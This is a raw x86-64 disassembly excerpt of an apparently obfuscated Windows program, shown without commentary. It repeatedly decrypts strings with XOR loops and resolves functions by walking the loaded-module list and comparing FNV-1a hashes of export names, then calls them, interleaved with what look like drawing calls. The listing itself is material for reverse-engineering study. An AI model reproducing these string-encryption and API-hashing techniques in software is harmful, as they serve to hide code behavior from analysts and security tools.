movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc2c]
xorps xmm2, xmm1
movd dword [rbp + 0xc2c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc30]
xorps xmm2, xmm1
movd dword [rbp + 0xc30], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc34]
xorps xmm2, xmm1
movd dword [rbp + 0xc34], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xc20]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140092c50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140092d14
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140092d14
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140092d0f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140092cf0
cmp edx, 0x491e0a9c
je 0x140092d19
test r9d, r9d
jne 0x140092cd0
mov rax, qword [rax]
jmp 0x140092ca0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xc20]
call rax
movups xmm0, xmmword [0x140165218]
movups xmmword [rbp + 0xda0], xmm0
movups xmm1, xmmword [0x140165228]
movups xmmword [rbp + 0xdb0], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140092ea9
mov r8d, r12d
cmp r15d, 2
jl 0x140092e79
mov edx, r12d
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xda4]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140092d90
jmp 0x140092ea9
lea r9, [rbp + 0xda0]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140092e80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140092f34
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140092f34
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140092f2f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140092f10
cmp edx, 0x491e0a9c
je 0x140092f39
test r9d, r9d
jne 0x140092ef0
mov rax, qword [rax]
jmp 0x140092ec0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xda0]
call rax
mov dword [rbp + 0x2d8], 0x42700000
mov dword [rbp + 0x2dc], 0x43660000
lea rcx, [rbp + 0x2d8]
call fcn.140025c50
xorps xmm0, xmm0
movups xmmword [rbp + 0x9e8], xmm0
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rbp + 0x9f8], xmm0
mov dword [rbp + 0x2e0], 0x3f800000
mov dword [rbp + 0x2e4], 0x3f800000
mov qword [rbp + 0x2e8], 0
mov dword [rbp + 0x2f0], 0x41c00000
mov dword [rbp + 0x2f4], 0x41c00000
lea rax, [rbp + 0x9e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x9f8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2e0]
lea r8, [rbp + 0x2e8]
lea rdx, [rbp + 0x2f0]
mov rcx, qword [rbp + 0x28]
call fcn.140046650
movaps xmm1, xmm12
xorps xmm0, xmm0
call fcn.140025330
movsd xmm0, qword [0x140165238]
movsd qword [rbp + 0x618], xmm0
mov ecx, dword [0x140165240]
mov dword [rbp + 0x620], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x624], al
mov r8d, r12d
cmp r15d, 2
jl 0x14009317a
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165238]
xorps xmm1, xmm0
movd dword [rbp + 0x618], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x61c]
xorps xmm2, xmm1
movd dword [rbp + 0x61c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x620], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x618]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140093190
lea rcx, [rbp + 0x618]
call fcn.14004e760
mov dword [rbp + 0x2f8], 0x43200000
mov dword [rbp + 0x2fc], 0x43610000
lea rcx, [rbp + 0x2f8]
call fcn.140025c50
movdqa xmm3, xmmword [0x140168040]
movdqa xmm4, xmmword [0x140168030]
mov dword [rbp + 0x300], 0x43020000
mov dword [rbp + 0x304], 0x41f00000
movsd xmm0, qword [0x140165248]
movsd qword [rbp + 0x628], xmm0
mov ecx, dword [0x140165250]
mov dword [rbp + 0x630], ecx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x634], al
mov r8d, r12d
cmp r15d, 2
jl 0x140093387
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165248]
xorps xmm1, xmm0
movd dword [rbp + 0x628], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x62c]
xorps xmm2, xmm1
movd dword [rbp + 0x62c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x630], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x628]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400933a0
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmmword [rsp + 0x60], xmm4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a748]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a740]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a738]
xor r8d, r8d
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x628]
call fcn.14003f280
test al, al
je 0x140093a19
movups xmm2, xmmword [0x140165258]
movups xmmword [rbp + 0xc40], xmm2
movsd xmm0, qword [0x140165268]
movsd qword [rbp + 0xc50], xmm0
movzx eax, word [0x140165270]
mov word [rbp + 0xc58], ax
cmp byte [0x140165271], 0
je 0x140093740
mov r8d, r12d
cmp r15d, 2
jl 0x1400936f8
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov ecx, dword [rbp - 0x50]
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc40], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc44]
xorps xmm2, xmm1
movd dword [rbp + 0xc44], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc48]
xorps xmm2, xmm1
movd dword [rbp + 0xc48], xmm2
movdqa xmm2, xmmword [0x140167ec0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc4c]
xorps xmm2, xmm1
movd dword [rbp + 0xc4c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc50]
xorps xmm2, xmm1
movd dword [rbp + 0xc50], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm8
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc54]
xorps xmm2, xmm1
movd dword [rbp + 0xc54], xmm2
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0xc40]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140093710
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400937d4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400937d4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400937cf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400937b0
cmp edx, 0x491e0a9c
je 0x1400937d9
test r9d, r9d
jne 0x140093790
mov rax, qword [rax]
jmp 0x140093760
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xc40]
call rax
movups xmm0, xmmword [0x140165278]
movups xmmword [rbp + 0xd80], xmm0
movups xmm1, xmmword [0x140165288]
movups xmmword [rbp + 0xd90], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x140093969
mov r8d, r12d
cmp r15d, 2
jl 0x140093939
mov edx, r12d
movdqa xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xd84]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140093850
jmp 0x140093969
lea r9, [rbp + 0xd80]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140093940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400939f4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400939f4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400939ef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400939d0
cmp edx, 0x491e0a9c
je 0x1400939f9
test r9d, r9d
jne 0x1400939b0
mov rax, qword [rax]
jmp 0x140093980
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xd80]
call rax
mov dword [rbp + 0x308], 0x42700000
mov dword [rbp + 0x30c], 0x43848000
lea rcx, [rbp + 0x308]
call fcn.140025c50
mov rcx, rdi
call fcn.140025a50
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov ecx, dword [0x1401652a0]
movsd xmm0, qword [0x140165298]
mov byte [rbp + 0x644], al
mov dword [rbp + 0x640], ecx
movsd qword [rbp + 0x638], xmm0
mov r8d, r12d
cmp r15d, 2
jl 0x140093bb8
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140165298]
xorps xmm1, xmm0
movd dword [rbp + 0x638], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x63c]
xorps xmm2, xmm1
movd dword [rbp + 0x63c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x640], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x638]
add r9, rax
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140093bd0
lea rcx, [rbp + 0x638]
call fcn.14004e760
mov dword [rbp + 0x310], 0x432f0000
mov dword [rbp + 0x314], 0x43820000
lea rcx, [rbp + 0x310]
call fcn.140025c50
movdqa xmm3, xmmword [0x140168040]
movdqa xmm4, xmmword [0x140168030]
mov dword [rbp + 0x318], 0x43020000
mov dword [rbp + 0x31c], 0x41f00000
movsd xmm0, qword [0x1401652a8]
movsd qword [rbp + 0x688], xmm0
mov ecx, dword [0x1401652b0]
mov dword [rbp + 0x690], ecx
movzx eax, word [0x1401652b4]
mov word [rbp + 0x694], ax
cmp byte [0x1401652b5], 0
je 0x140093e20
mov r8d, r12d
cmp r15d, 2
jl 0x140093dd5
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm8
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm7
packuswb xmm1, xmm1
packuswb xmm1, xmm1
mov eax, dword [rbp - 0x50]
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401652a8]
xorps xmm1, xmm0
movd dword [rbp + 0x688], xmm1
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm8
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x68c]
xorps xmm2, xmm1
movd dword [rbp + 0x68c], xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm15
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x690], xmm2
mov r8d, recvfrom
mov eax, r8d
lea r9, [rbp + 0x688]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140093df0
movdqa xmmword [rsp + 0x50], xmm3
movdqa xmmword [rsp + 0x60], xmm4
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x14019a760]
mov qword [rsp + 0x28], rax
lea rax, [0x14019a758]
mov qword [rsp + 0x20], rax
lea r9, [0x14019a750]
xor r8d, r8d
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x688]
call fcn.14003f280
test al, al
je 0x140094469
movups xmm2, xmmword [0x1401652b8]
movups xmmword [rbp + 0xc60], xmm2
movsd xmm0, qword [0x1401652c8]
movsd qword [rbp + 0xc70], xmm0
movzx eax, word [0x1401652d0]
mov word [rbp + 0xc78], ax
cmp byte [0x1401652d1], 0
je 0x140094190
